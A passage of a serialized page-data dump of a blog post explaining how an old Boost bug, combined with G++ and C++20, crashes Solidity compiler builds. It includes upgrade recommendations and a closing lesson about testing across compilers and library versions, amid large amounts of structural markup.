Ubuntu)",{"type":23,"tag":143,"props":94426,"children":94427},{},[94428],{"type":29,"value":94429},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":32,"props":94431,"children":94432},{},[94433,94435,94440,94442,94448],{"type":29,"value":94434},"They will encounter this crash ",{"type":23,"tag":38,"props":94436,"children":94437},{},[94438],{"type":29,"value":94439},"as soon as",{"type":29,"value":94441}," it processes a Solidity source with a length expression like ",{"type":23,"tag":154,"props":94443,"children":94445},{"className":94444},[],[94446],{"type":29,"value":94447},"T[0]",{"type":29,"value":94449}," or anything involving compile-time rational comparisons.",{"type":23,"tag":20844,"props":94451,"children":94452},{},[],{"type":23,"tag":24,"props":94454,"children":94456},{"id":94455},"recommendations",[94457],{"type":29,"value":94458},"Recommendations",{"type":23,"tag":1022,"props":94460,"children":94461},{},[94462,94470],{"type":23,"tag":143,"props":94463,"children":94464},{},[94465],{"type":23,"tag":38,"props":94466,"children":94467},{},[94468],{"type":29,"value":94469},"Update Boost to ≥ 1.75",{"type":23,"tag":143,"props":94471,"children":94472},{},[94473],{"type":23,"tag":38,"props":94474,"children":94475},{},[94476],{"type":29,"value":94477},"Pin G++ to v14 or later",{"type":23,"tag":20844,"props":94479,"children":94480},{},[],{"type":23,"tag":24,"props":94482,"children":94483},{"id":4832},[94484],{"type":29,"value":4835},{"type":23,"tag":32,"props":94486,"children":94487},{},[94488],{"type":29,"value":94489},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":32,"props":94491,"children":94492},{},[94493,94495,94499],{"type":29,"value":94494},"But it ",{"type":23,"tag":38,"props":94496,"children":94497},{},[94498],{"type":29,"value":6040},{"type":29,"value":94500}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":32,"props":94502,"children":94503},{},[94504],{"type":29,"value":94505},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":32,"props":94507,"children":94508},{},[94509],{"type":29,"value":94510},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":7410,"props":94512,"children":94513},{},[94514],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":94516},[94517,94518,94523,94526,94527,94528,94529,94530],{"id":92200,"depth":4868,"text":92203},{"id":92289,"depth":4868,"text":92292,"children":94519},[94520,94521,94522],{"id":92295,"depth":4876,"text":92298},{"id":92363,"depth":4876,"text":92366},{"id":92454,"depth":4876,"text":92457},{"id":93038,"depth":4868,"text":93041,"children":94524},[94525],{"id":93044,"depth":4876,"text":93047},{"id":93155,"depth":4868,"text":93158},{"id":94002,"depth":4868,"text":94005},{"id":94403,"depth":4868,"text":94406},{"id":94455,"depth":4868,"text":94458},{"id":4832,"depth":4868,"text":4835},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":94535,"isFeatured":15,"onBlogPage":15,"tags":94536,"body":94537,"_type":4892,"_id":4893,"_source":4894,"_file":4895,"_stem":4896,"_extension":4897},{"src":13,"width":14,"height":14},[17,18],{"type":20,"children":94538,"toc":99017},[94539,94543,94552,94561,94565,94587,94597,94601,94610,94614,94618,94648,94652,94656,94660,94666,94670,94691,94695,94699,94714,94724,94731,94735,94739,94746,94756,94760,94824,94828,94832,94843,94847,94853,94872,94879,94883,94887,94891,95319,95329,95333,95337,95344,95359,95366,95377,95384,97017,97021,97027,97031,97035,97042,97057,97064,97071,97078,98582,98586,98592,98596,98600,98622,98626,98641,98645,98652,98668,98709,98716,98732,98751,98755,98765,98769,98775,98779,98830,98834,98840,98856,98860,98864,98868,98872,98910,98914,98921,98925,98929,98967,98971,98978,98982,98989,98993,98997,99007],{"type":23,"tag":24,"props":94540,"children":94541},{"id":26},[94542],{"type":29,"value":30},{"type":23,"tag":32,"props":94544,"children":94545},{},[94546,94547,94551],{"type":29,"value":36},{"type":23,"tag":38,"props":94548,"children":94549},{},[94550],{"type":29,"value":42},{"type":29,"value":44},{"type":23,"tag":32,"props":94553,"children":94554},{},[94555,94556,94560],{"type":29,"value":49},{"type":23,"tag":38,"props":94557,"children":94558},{},[94559],{"type":29,"value":54},{"type":29,"value":56},{"type":23,"tag":32,"props":94562,"children":94563},{},[94564],{"type":29,"value":61},{"type":23,"tag":32,"props":94566,"children":94567},{},[94568,94569,94574,94575,94580,94581,94586],{"type":29,"value":66},{"type":23,"tag":68,"props":94570,"children":94572},{"href":70,"rel":94571},[72],[94573],{"type":29,"value":75},{"type":29,"value":77},{"type":23,"tag":68,"props":94576,"children":94578},{"href":80,"rel":94577},[72],[94579],{"type":29,"value":84},{"type":29,"value":86},{"type":23,"tag":68,"props":94582,"children":94584},{"href":89,"rel":94583},[72],[94585],{"type":29,"value":93},{"type":29,"value":95},{"type":23,"tag":32,"props":94588,"children":94589},{},[94590,94591,94596],{"type":29,"value":100},{"type":23,"tag":68,"props":94592,"children":94594},{"href":103,"rel":94593},[72],[94595],{"type":29,"value":107},{"type":29,"value":109},{"type":23,"tag":24,"props":94598,"children":94599},{"id":112},[94600],{"type":29,"value":115},{"type":23,"tag":32,"props":94602,"children":94603},{},[94604,94605,94609],{"type":29,"value":120},{"type":23,"tag":38,"props":94606,"children":94607},{},[94608],{"type":29,"value":125},{"type":29,"value":127},{"type":23,"tag":32,"props":94611,"children":94612},{},[94613],{"type":29,"value":132},{"type":23,"tag":32,"props":94615,"children":94616},{},[94617],{"type":29,"value":137},{"type":23,"tag":139,"props":94619,"children":94620},{},[94621,94635],{"type":23,"tag":143,"props":94622,"children":94623},{},[94624,94628,94629,94634],{"type":23,"tag":38,"props":94625,"children":94626},{},[94627],{"type":29,"value":150},{"type":29,"value":152},{"type":23,"tag":154,"props":94630,"children":94632},{"className":94631},[],[94633],{"type":29,"value":159},{"type":29,"value":161},{"type":23,"tag":143,"props":94636,"children":94637},{},[94638,94642,94643,94647],{"type":23,"tag":38,"props":94639,"children":94640},{},[94641],{"type":29,"value":169},{"type":29,"value":171},{"type":23,"tag":38,"props":94644,"children":94645},{},[94646],{"type":29,"value":176},{"type":29,"value":178},{"type":23,"tag":32,"props":94649,"children":94650},{},[94651],{"type":29,"value":183},{"type":23,"tag":24,"props":94653,"children":94654},{"id":186},[94655],{"type":29,"value":189},{"type":23,"tag":32,"props":94657,"children":94658},{},[94659],{"type":29,"value":194},{"type":23,"tag":32,"props":94661,"children":94662},{},[94663],{"type":23,"tag":199,"props":94664,"children":94665},{"alt":201,"src":202},[],{"type":23,"tag":32,"props":94667,"children":94668},{},[94669],{"type":29,"value":208},{"type":23,"tag":139,"props":94671,"children":94672},{},[94673,94683,94687],{"type":23,"tag":143,"props":94674,"children":94675},{},[94676,94677,94682],{"type":29,"value":216},{"type":23,"tag":154,"props":94678,"children":94680},{"className":94679},[],[94681],{"type":29,"value":222},{"type":29,"value":224},{"type":23,"tag":143,"props":94684,"children":94685},{},[94686],{"type":29,"value":229},{"type":23,"tag":143,"props":94688,"children":94689},{},[94690],{"type":29,"value":234},{"type":23,"tag":32,"props":94692,"children":94693},{},[94694],{"type":29,"value":239},{"type":23,"tag":24,"props":94696,"children":94697},{"id":242},[94698],{"type":29,"value":245},{"type":23,"tag":32,"props":94700,"children":94701},{},[94702,94707,94708,94713],{"type":23,"tag":68,"props":94703,"children":94705},{"href":80,"rel":94704},[72],[94706],{"type":29,"value":254},{"type":29,"value":256},{"type":23,"tag":68,"props":94709,"children":94711},{"href":259,"rel":94710},[72],[94712],{"type":29,"value":263},{"type":29,"value":265},{"type":23,"tag":32,"props":94715,"children":94716},{},[94717,94718,94723],{"type":29,"value":270},{"type":23,"tag":68,"props":94719,"children":94721},{"href":273,"rel":94720},[72],[94722],{"type":29,"value":277},{"type":29,"value":279},{"type":23,"tag":32,"props":94725,"children":94726},{},[94727],{"type":23,"tag":38,"props":94728,"children":94729},{},[94730],{"type":29,"value":287},{"type":23,"tag":32,"props":94732,"children":94733},{},[94734],{"type":29,"value":292},{"type":23,"tag":32,"props":94736,"children":94737},{},[94738],{"type":29,"value":297},{"type":23,"tag":32,"props":94740,"children":94741},{},[94742],{"type":23,"tag":38,"props":94743,"children":94744},{},[94745],{"type":29,"value":305},{"type":23,"tag":32,"props":94747,"children":94748},{},[94749,94750,94755],{"type":29,"value":310},{"type":23,"tag":154,"props":94751,"children":94753},{"className":94752},[],[94754],{"type":29,"value":316},{"type":29,"value":318},{"type":23,"tag":320,"props":94757,"children":94758},{"id":322},[94759],{"type":29,"value":325},{"type":23,"tag":139,"props":94761,"children":94762},{},[94763,94771,94785,94793,94816],{"type":23,"tag":143,"props":94764,"children":94765},{},[94766,94770],{"type":23,"tag":38,"props":94767,"children":94768},{},[94769],{"type":29,"value":336},{"type":29,"value":338},{"type":23,"tag":143,"props":94772,"children":94773},{},[94774,94778,94779,94784],{"type":23,"tag":38,"props":94775,"children":94776},{},[94777],{"type":29,"value":346},{"type":29,"value":348},{"type":23,"tag":68,"props":94780,"children":94782},{"href":351,"rel":94781},[72],[94783],{"type":29,"value":355},{"type":29,"value":357},{"type":23,"tag":143,"props":94786,"children":94787},{},[94788,94792],{"type":23,"tag":38,"props":94789,"children":94790},{},[94791],{"type":29,"value":365},{"type":29,"value":367},{"type":23,"tag":143,"props":94794,"children":94795},{},[94796,94800,94801,94805,94806,94810,94811,94815],{"type":23,"tag":38,"props":94797,"children":94798},{},[94799],{"type":29,"value":375},{"type":29,"value":377},{"type":23,"tag":38,"props":94802,"children":94803},{},[94804],{"type":29,"value":382},{"type":29,"value":384},{"type":23,"tag":38,"props":94807,"children":94808},{},[94809],{"type":29,"value":389},{"type":29,"value":391},{"type":23,"tag":38,"props":94812,"children":94813},{},[94814],{"type":29,"value":396},{"type":29,"value":398},{"type":23,"tag":143,"props":94817,"children":94818},{},[94819,94823],{"type":23,"tag":38,"props":94820,"children":94821},{},[94822],{"type":29,"value":406},{"type":29,"value":408},{"type":23,"tag":24,"props":94825,"children":94826},{"id":411},[94827],{"type":29,"value":414},{"type":23,"tag":32,"props":94829,"children":94830},{},[94831],{"type":29,"value":419},{"type":23,"tag":139,"props":94833,"children":94834},{},[94835,94839],{"type":23,"tag":143,"props":94836,"children":94837},{},[94838],{"type":29,"value":427},{"type":23,"tag":143,"props":94840,"children":94841},{},[94842],{"type":29,"value":432},{"type":23,"tag":32,"props":94844,"children":94845},{},[94846],{"type":29,"value":437},{"type":23,"tag":32,"props":94848,"children":94849},{},[94850],{"type":23,"tag":199,"props":94851,"children":94852},{"alt":201,"src":443},[],{"type":23,"tag":446,"props":94854,"children":94855},{},[94856],{"type":23,"tag":32,"props":94857,"children":94858},{},[94859,94860,94865,94866,94871],{"type":29,"value":453},{"type":23,"tag":154,"props":94861,"children":94863},{"className":94862},[],[94864],{"type":29,"value":459},{"type":29,"value":461},{"type":23,"tag":154,"props":94867,"children":94869},{"className":94868},[],[94870],{"type":29,"value":467},{"type":29,"value":469},{"type":23,"tag":446,"props":94873,"children":94874},{},[94875],{"type":23,"tag":32,"props":94876,"children":94877},{},[94878],{"type":29,"value":477},{"type":23,"tag":32,"props":94880,"children":94881},{},[94882],{"type":29,"value":482},{"type":23,"tag":320,"props":94884,"children":94885},{"id":485},[94886],{"type":29,"value":488},{"type":23,"tag":32,"props":94888,"children":94889},{},[94890],{"type":29,"value":493},{"type":23,"tag":32,"props":94892,"children":94893},{},[94894],{"type":23,"tag":154,"props":94895,"children":94897},{"className":94896},[500,501],[94898],{"type":23,"tag":504,"props":94899,"children":94901},{"className":94900},[507],[94902],{"type":23,"tag":504,"props":94903,"children":94905},{"className":94904,"ariaHidden":513},[512],[94906,94932],{"type":23,"tag":504,"props":94907,"children":94909},{"className":94908},[518],[94910,94914,94919,94923,94928],{"type":23,"tag":504,"props":94911,"children":94913},{"className":94912,"style":524},[523],[],{"type":23,"tag":504,"props":94915,"children":94917},{"className":94916},[529,530],[94918],{"type":29,"value":533},{"type":23,"tag":504,"props":94920,"children":94922},{"className":94921,"style":538},[537],[],{"type":23,"tag":504,"props":94924,"children":94926},{"className":94925},[543],[94927],{"type":29,"value":546},{"type":23,"tag":504,"props":94929,"children":94931},{"className":94930,"style":538},[537],[],{"type":23,"tag":504,"props":94933,"children":94935},{"className":94934},[518],[94936,94940,94945,94950,94955,94960,94965,94970,94975,94980,94985,94990,94995,95000,95005,95010,95015,95072,95077,95082,95087,95092,95097,95102,95107,95112,95117,95122,95127,95184,95189,95194,95199,95204,95209,95214,95219,95224,95229,95234,95239,95244,95249,95254,95259,95264,95269,95274,95279,95284,95289,95294,95299,95304,95309,95314],{"type":23,"tag":504,"props":94937,"children":94939},{"className":94938,"style":558},[523],[],{"type":23,"tag":504,"props":94941,"children":94943},{"className":94942,"style":563},[529,530],[94944],{"type":29,"value":566},{"type":23,"tag":504,"props":94946,"children":94948},{"className":94947},[529,530],[94949],{"type":29,"value":572},{"type":23,"tag":504,"props":94951,"children":94953},{"className":94952},[529,530],[94954],{"type":29,"value":578},{"type":23,"tag":504,"props":94956,"children":94958},{"className":94957},[529,530],[94959],{"type":29,"value":584},{"type":23,"tag":504,"props":94961,"children":94963},{"className":94962},[529,530],[94964],{"type":29,"value":590},{"type":23,"tag":504,"props":94966,"children":94968},{"className":94967},[529,530],[94969],{"type":29,"value":596},{"type":23,"tag":504,"props":94971,"children":94973},{"className":94972},[600],[94974],{"type":29,"value":603},{"type":23,"tag":504,"props":94976,"children":94978},{"className":94977},[529,530],[94979],{"type":29,"value":68},{"type":23,"tag":504,"props":94981,"children":94983},{"className":94982},[529,530],[94984],{"type":29,"value":614},{"type":23,"tag":504,"props":94986,"children":94988},{"className":94987},[529,530],[94989],{"type":29,"value":620},{"type":23,"tag":504,"props":94991,"children":94993},{"className":94992,"style":624},[529],[94994],{"type":29,"value":627},{"type":23,"tag":504,"props":94996,"children":94998},{"className":94997},[529,530],[94999],{"type":29,"value":633},{"type":23,"tag":504,"props":95001,"children":95003},{"className":95002,"style":637},[529,530],[95004],{"type":29,"value":640},{"type":23,"tag":504,"props":95006,"children":95008},{"className":95007},[529,530],[95009],{"type":29,"value":646},{"type":23,"tag":504,"props":95011,"children":95013},{"className":95012},[529,530],[95014],{"type":29,"value":652},{"type":23,"tag":504,"props":95016,"children":95018},{"className":95017},[529],[95019,95024],{"type":23,"tag":504,"props":95020,"children":95022},{"className":95021},[529,530],[95023],{"type":29,"value":662},{"type":23,"tag":504,"props":95025,"children":95027},{"className":95026},[666],[95028],{"type":23,"tag":504,"props":95029,"children":95031},{"className":95030},[671,672],[95032,95061],{"type":23,"tag":504,"props":95033,"children":95035},{"className":95034},[677],[95036,95056],{"type":23,"tag":504,"props":95037,"children":95039},{"className":95038,"style":683},[682],[95040],{"type":23,"tag":504,"props":95041,"children":95042},{"style":687},[95043,95047],{"type":23,"tag":504,"props":95044,"children":95046},{"className":95045,"style":693},[692],[],{"type":23,"tag":504,"props":95048,"children":95050},{"className":95049},[698,699,700,701],[95051],{"type":23,"tag":504,"props":95052,"children":95054},{"className":95053},[529,701],[95055],{"type":29,"value":708},{"type":23,"tag":504,"props":95057,"children":95059},{"className":95058},[712],[95060],{"type":29,"value":715},{"type":23,"tag":504,"props":95062,"children":95064},{"className":95063},[677],[95065],{"type":23,"tag":504,"props":95066,"children":95068},{"className":95067,"style":723},[682],[95069],{"type":23,"tag":504,"props":95070,"children":95071},{},[],{"type":23,"tag":504,"props":95073,"children":95075},{"className":95074},[537],[95076],{"type":29,"value":733},{"type":23,"tag":504,"props":95078,"children":95080},{"className":95079},[529],[95081],{"type":29,"value":739},{"type":23,"tag":504,"props":95083,"children":95085},{"className":95084},[537],[95086],{"type":29,"value":733},{"type":23,"tag":504,"props":95088,"children":95090},{"className":95089},[529,530],[95091],{"type":29,"value":68},{"type":23,"tag":504,"props":95093,"children":95095},{"className":95094},[529,530],[95096],{"type":29,"value":614},{"type":23,"tag":504,"props":95098,"children":95100},{"className":95099},[529,530],[95101],{"type":29,"value":620},{"type":23,"tag":504,"props":95103,"children":95105},{"className":95104,"style":624},[529],[95106],{"type":29,"value":627},{"type":23,"tag":504,"props":95108,"children":95110},{"className":95109},[529,530],[95111],{"type":29,"value":633},{"type":23,"tag":504,"props":95113,"children":95115},{"className":95114,"style":637},[529,530],[95116],{"type":29,"value":640},{"type":23,"tag":504,"props":95118,"children":95120},{"className":95119},[529,530],[95121],{"type":29,"value":646},{"type":23,"tag":504,"props":95123,"children":95125},{"className":95124},[529,530],[95126],{"type":29,"value":652},{"type":23,"tag":504,"props":95128,"children":95130},{"className":95129},[529],[95131,95136],{"type":23,"tag":504,"props":95132,"children":95134},{"className":95133},[529,530],[95135],{"type":29,"value":662},{"type":23,"tag":504,"props":95137,"children":95139},{"className":95138},[666],[95140],{"type":23,"tag":504,"props":95141,"children":95143},{"className":95142},[671,672],[95144,95173],{"type":23,"tag":504,"props":95145,"children":95147},{"className":95146},[677],[95148,95168],{"type":23,"tag":504,"props":95149,"children":95151},{"className":95150,"style":683},[682],[95152],{"type":23,"tag":504,"props":95153,"children":95154},{"style":687},[95155,95159],{"type":23,"tag":504,"props":95156,"children":95158},{"className":95157,"style":693},[692],[],{"type":23,"tag":504,"props":95160,"children":95162},{"className":95161},[698,699,700,701],[95163],{"type":23,"tag":504,"props":95164,"children":95166},{"className":95165},[529,701],[95167],{"type":29,"value":826},{"type":23,"tag":504,"props":95169,"children":95171},{"className":95170},[712],[95172],{"type":29,"value":715},{"type":23,"tag":504,"props":95174,"children":95176},{"className":95175},[677],[95177],{"type":23,"tag":504,"props":95178,"children":95180},{"className":95179,"style":723},[682],[95181],{"type":23,"tag":504,"props":95182,"children":95183},{},[],{"type":23,"tag":504,"props":95185,"children":95187},{"className":95186},[537],[95188],{"type":29,"value":733},{"type":23,"tag":504,"props":95190,"children":95192},{"className":95191},[529],[95193],{"type":29,"value":853},{"type":23,"tag":504,"props":95195,"children":95197},{"className":95196},[537],[95198],{"type":29,"value":733},{"type":23,"tag":504,"props":95200,"children":95202},{"className":95201},[529],[95203],{"type":29,"value":739},{"type":23,"tag":504,"props":95205,"children":95207},{"className":95206},[537],[95208],{"type":29,"value":733},{"type":23,"tag":504,"props":95210,"children":95212},{"className":95211,"style":872},[529,530],[95213],{"type":29,"value":875},{"type":23,"tag":504,"props":95215,"children":95217},{"className":95216,"style":879},[529,530],[95218],{"type":29,"value":882},{"type":23,"tag":504,"props":95220,"children":95222},{"className":95221},[529,530],[95223],{"type":29,"value":888},{"type":23,"tag":504,"props":95225,"children":95227},{"className":95226},[529],[95228],{"type":29,"value":894},{"type":23,"tag":504,"props":95230,"children":95232},{"className":95231},[600],[95233],{"type":29,"value":603},{"type":23,"tag":504,"props":95235,"children":95237},{"className":95236},[529,530],[95238],{"type":29,"value":905},{"type":23,"tag":504,"props":95240,"children":95242},{"className":95241,"style":624},[529,530],[95243],{"type":29,"value":911},{"type":23,"tag":504,"props":95245,"children":95247},{"className":95246,"style":624},[529],[95248],{"type":29,"value":627},{"type":23,"tag":504,"props":95250,"children":95252},{"className":95251},[529,530],[95253],{"type":29,"value":578},{"type":23,"tag":504,"props":95255,"children":95257},{"className":95256},[529,530],[95258],{"type":29,"value":584},{"type":23,"tag":504,"props":95260,"children":95262},{"className":95261},[930],[95263],{"type":29,"value":933},{"type":23,"tag":504,"props":95265,"children":95267},{"className":95266},[537],[95268],{"type":29,"value":733},{"type":23,"tag":504,"props":95270,"children":95272},{"className":95271},[529],[95273],{"type":29,"value":739},{"type":23,"tag":504,"props":95275,"children":95277},{"className":95276},[537],[95278],{"type":29,"value":733},{"type":23,"tag":504,"props":95280,"children":95282},{"className":95281},[529,530],[95283],{"type":29,"value":905},{"type":23,"tag":504,"props":95285,"children":95287},{"className":95286,"style":624},[529,530],[95288],{"type":29,"value":911},{"type":23,"tag":504,"props":95290,"children":95292},{"className":95291,"style":624},[529],[95293],{"type":29,"value":627},{"type":23,"tag":504,"props":95295,"children":95297},{"className":95296},[529,530],[95298],{"type":29,"value":596},{"type":23,"tag":504,"props":95300,"children":95302},{"className":95301},[529,530],[95303],{"type":29,"value":590},{"type":23,"tag":504,"props":95305,"children":95307},{"className":95306},[529,530],[95308],{"type":29,"value":596},{"type":23,"tag":504,"props":95310,"children":95312},{"className":95311},[529,530],[95313],{"type":29,"value":652},{"type":23,"tag":504,"props":95315,"children":95317},{"className":95316},[930],[95318],{"type":29,"value":933},{"type":23,"tag":32,"props":95320,"children":95321},{},[95322,95323,95328],{"type":29,"value":993},{"type":23,"tag":154,"props":95324,"children":95326},{"className":95325},[],[95327],{"type":29,"value":999},{"type":29,"value":1001},{"type":23,"tag":320,"props":95330,"children":95331},{"id":1004},[95332],{"type":29,"value":1007},{"type":23,"tag":32,"props":95334,"children":95335},{},[95336],{"type":29,"value":1012},{"type":23,"tag":32,"props":95338,"children":95339},{},[95340],{"type":23,"tag":38,"props":95341,"children":95342},{},[95343],{"type":29,"value":1020},{"type":23,"tag":1022,"props":95345,"children":95346},{},[95347,95351,95355],{"type":23,"tag":143,"props":95348,"children":95349},{},[95350],{"type":29,"value":1029},{"type":23,"tag":143,"props":95352,"children":95353},{},[95354],{"type":29,"value":1034},{"type":23,"tag":143,"props":95356,"children":95357},{},[95358],{"type":29,"value":1039},{"type":23,"tag":32,"props":95360,"children":95361},{},[95362],{"type":23,"tag":38,"props":95363,"children":95364},{},[95365],{"type":29,"value":1047},{"type":23,"tag":1022,"props":95367,"children":95368},{},[95369,95373],{"type":23,"tag":143,"props":95370,"children":95371},{},[95372],{"type":29,"value":1055},{"type":23,"tag":143,"props":95374,"children":95375},{},[95376],{"type":29,"value":1060},{"type":23,"tag":32,"props":95378,"children":95379},{},[95380],{"type":23,"tag":38,"props":95381,"children":95382},{},[95383],{"type":29,"value":1068},{"type":23,"tag":1022,"props":95385,"children":95386},{},[95387,95831,95997,96343,96734],{"type":23,"tag":143,"props":95388,"children":95389},{},[95390],{"type":23,"tag":154,"props":95391,"children":95393},{"className":95392},[500,501],[95394],{"type":23,"tag":504,"props":95395,"children":95397},{"className":95396},[507],[95398],{"type":23,"tag":504,"props":95399,"children":95401},{"className":95400,"ariaHidden":513},[512],[95402,95535,95738],{"type":23,"tag":504,"props":95403,"children":95405},{"className":95404},[518],[95406,95410,95415,95420,95425,95430,95435,95440,95445,95450,95455,95460,95465,95522,95526,95531],{"type":23,"tag":504,"props":95407,"children":95409},{"className":95408,"style":1094},[523],[],{"type":23,"tag":504,"props":95411,"children":95413},{"className":95412},[529,530],[95414],{"type":29,"value":68},{"type":23,"tag":504,"props":95416,"children":95418},{"className":95417},[529,530],[95419],{"type":29,"value":1106},{"type":23,"tag":504,"props":95421,"children":95423},{"className":95422},[529,530],[95424],{"type":29,"value":905},{"type":23,"tag":504,"props":95426,"children":95428},{"className":95427},[529,530],[95429],{"type":29,"value":596},{"type":23,"tag":504,"props":95431,"children":95433},{"className":95432},[529,530],[95434],{"type":29,"value":620},{"type":23,"tag":504,"props":95436,"children":95438},{"className":95437,"style":624},[529],[95439],{"type":29,"value":627},{"type":23,"tag":504,"props":95441,"children":95443},{"className":95442},[529,530],[95444],{"type":29,"value":1132},{"type":23,"tag":504,"props":95446,"children":95448},{"className":95447,"style":1136},[529,530],[95449],{"type":29,"value":1139},{"type":23,"tag":504,"props":95451,"children":95453},{"className":95452},[529,530],[95454],{"type":29,"value":905},{"type":23,"tag":504,"props":95456,"children":95458},{"className":95457},[529,530],[95459],{"type":29,"value":578},{"type":23,"tag":504,"props":95461,"children":95463},{"className":95462},[529,530],[95464],{"type":29,"value":620},{"type":23,"tag":504,"props":95466,"children":95468},{"className":95467},[529],[95469,95474],{"type":23,"tag":504,"props":95470,"children":95472},{"className":95471,"style":1136},[529,530],[95473],{"type":29,"value":1164},{"type":23,"tag":504,"props":95475,"children":95477},{"className":95476},[666],[95478],{"type":23,"tag":504,"props":95479,"children":95481},{"className":95480},[671,672],[95482,95511],{"type":23,"tag":504,"props":95483,"children":95485},{"className":95484},[677],[95486,95506],{"type":23,"tag":504,"props":95487,"children":95489},{"className":95488,"style":1180},[682],[95490],{"type":23,"tag":504,"props":95491,"children":95492},{"style":1184},[95493,95497],{"type":23,"tag":504,"props":95494,"children":95496},{"className":95495,"style":693},[692],[],{"type":23,"tag":504,"props":95498,"children":95500},{"className":95499},[698,699,700,701],[95501],{"type":23,"tag":504,"props":95502,"children":95504},{"className":95503},[529,530,701],[95505],{"type":29,"value":578},{"type":23,"tag":504,"props":95507,"children":95509},{"className":95508},[712],[95510],{"type":29,"value":715},{"type":23,"tag":504,"props":95512,"children":95514},{"className":95513},[677],[95515],{"type":23,"tag":504,"props":95516,"children":95518},{"className":95517,"style":723},[682],[95519],{"type":23,"tag":504,"props":95520,"children":95521},{},[],{"type":23,"tag":504,"props":95523,"children":95525},{"className":95524,"style":538},[537],[],{"type":23,"tag":504,"props":95527,"children":95529},{"className":95528},[543],[95530],{"type":29,"value":1224},{"type":23,"tag":504,"props":95532,"children":95534},{"className":95533,"style":538},[537],[],{"type":23,"tag":504,"props":95536,"children":95538},{"className":95537},[518],[95539,95543,95548,95553,95558,95563,95568,95573,95578,95583,95588,95593,95598,95603,95608,95613,95618,95623,95680,95685,95690,95695,95700,95705,95710,95715,95720,95725,95729,95734],{"type":23,"tag":504,"props":95540,"children":95542},{"className":95541,"style":558},[523],[],{"type":23,"tag":504,"props":95544,"children":95546},{"className":95545},[529],[95547],{"type":29,"value":1242},{"type":23,"tag":504,"props":95549,"children":95551},{"className":95550},[537],[95552],{"type":29,"value":733},{"type":23,"tag":504,"props":95554,"children":95556},{"className":95555},[529,530],[95557],{"type":29,"value":68},{"type":23,"tag":504,"props":95559,"children":95561},{"className":95560},[529,530],[95562],{"type":29,"value":1106},{"type":23,"tag":504,"props":95564,"children":95566},{"className":95565},[529,530],[95567],{"type":29,"value":905},{"type":23,"tag":504,"props":95569,"children":95571},{"className":95570},[529,530],[95572],{"type":29,"value":596},{"type":23,"tag":504,"props":95574,"children":95576},{"className":95575},[529,530],[95577],{"type":29,"value":620},{"type":23,"tag":504,"props":95579,"children":95581},{"className":95580,"style":624},[529],[95582],{"type":29,"value":627},{"type":23,"tag":504,"props":95584,"children":95586},{"className":95585},[529,530],[95587],{"type":29,"value":68},{"type":23,"tag":504,"props":95589,"children":95591},{"className":95590},[529,530],[95592],{"type":29,"value":614},{"type":23,"tag":504,"props":95594,"children":95596},{"className":95595},[529,530],[95597],{"type":29,"value":620},{"type":23,"tag":504,"props":95599,"children":95601},{"className":95600,"style":624},[529],[95602],{"type":29,"value":627},{"type":23,"tag":504,"props":95604,"children":95606},{"className":95605},[529,530],[95607],{"type":29,"value":633},{"type":23,"tag":504,"props":95609,"children":95611},{"className":95610,"style":637},[529,530],[95612],{"type":29,"value":640},{"type":23,"tag":504,"props":95614,"children":95616},{"className":95615},[529,530],[95617],{"type":29,"value":646},{"type":23,"tag":504,"props":95619,"children":95621},{"className":95620},[529,530],[95622],{"type":29,"value":652},{"type":23,"tag":504,"props":95624,"children":95626},{"className":95625},[529],[95627,95632],{"type":23,"tag":504,"props":95628,"children":95630},{"className":95629},[529,530],[95631],{"type":29,"value":662},{"type":23,"tag":504,"props":95633,"children":95635},{"className":95634},[666],[95636],{"type":23,"tag":504,"props":95637,"children":95639},{"className":95638},[671,672],[95640,95669],{"type":23,"tag":504,"props":95641,"children":95643},{"className":95642},[677],[95644,95664],{"type":23,"tag":504,"props":95645,"children":95647},{"className":95646,"style":1180},[682],[95648],{"type":23,"tag":504,"props":95649,"children":95650},{"style":687},[95651,95655],{"type":23,"tag":504,"props":95652,"children":95654},{"className":95653,"style":693},[692],[],{"type":23,"tag":504,"props":95656,"children":95658},{"className":95657},[698,699,700,701],[95659],{"type":23,"tag":504,"props":95660,"children":95662},{"className":95661},[529,530,701],[95663],{"type":29,"value":578},{"type":23,"tag":504,"props":95665,"children":95667},{"className":95666},[712],[95668],{"type":29,"value":715},{"type":23,"tag":504,"props":95670,"children":95672},{"className":95671},[677],[95673],{"type":23,"tag":504,"props":95674,"children":95676},{"className":95675,"style":723},[682],[95677],{"type":23,"tag":504,"props":95678,"children":95679},{},[],{"type":23,"tag":504,"props":95681,"children":95683},{"className":95682},[600],[95684],{"type":29,"value":1380},{"type":23,"tag":504,"props":95686,"children":95688},{"className":95687},[529,530],[95689],{"type":29,"value":68},{"type":23,"tag":504,"props":95691,"children":95693},{"className":95692},[529,530],[95694],{"type":29,"value":614},{"type":23,"tag":504,"props":95696,"children":95698},{"className":95697},[529,530],[95699],{"type":29,"value":620},{"type":23,"tag":504,"props":95701,"children":95703},{"className":95702,"style":624},[529],[95704],{"type":29,"value":627},{"type":23,"tag":504,"props":95706,"children":95708},{"className":95707},[529,530],[95709],{"type":29,"value":596},{"type":23,"tag":504,"props":95711,"children":95713},{"className":95712},[529,530],[95714],{"type":29,"value":905},{"type":23,"tag":504,"props":95716,"children":95718},{"className":95717},[529,530],[95719],{"type":29,"value":1416},{"type":23,"tag":504,"props":95721,"children":95723},{"className":95722},[930],[95724],{"type":29,"value":1422},{"type":23,"tag":504,"props":95726,"children":95728},{"className":95727,"style":1426},[537],[],{"type":23,"tag":504,"props":95730,"children":95732},{"className":95731},[1431],[95733],{"type":29,"value":1434},{"type":23,"tag":504,"props":95735,"children":95737},{"className":95736,"style":1426},[537],[],{"type":23,"tag":504,"props":95739,"children":95741},{"className":95740},[518],[95742,95746,95751,95756,95761,95766,95771,95776,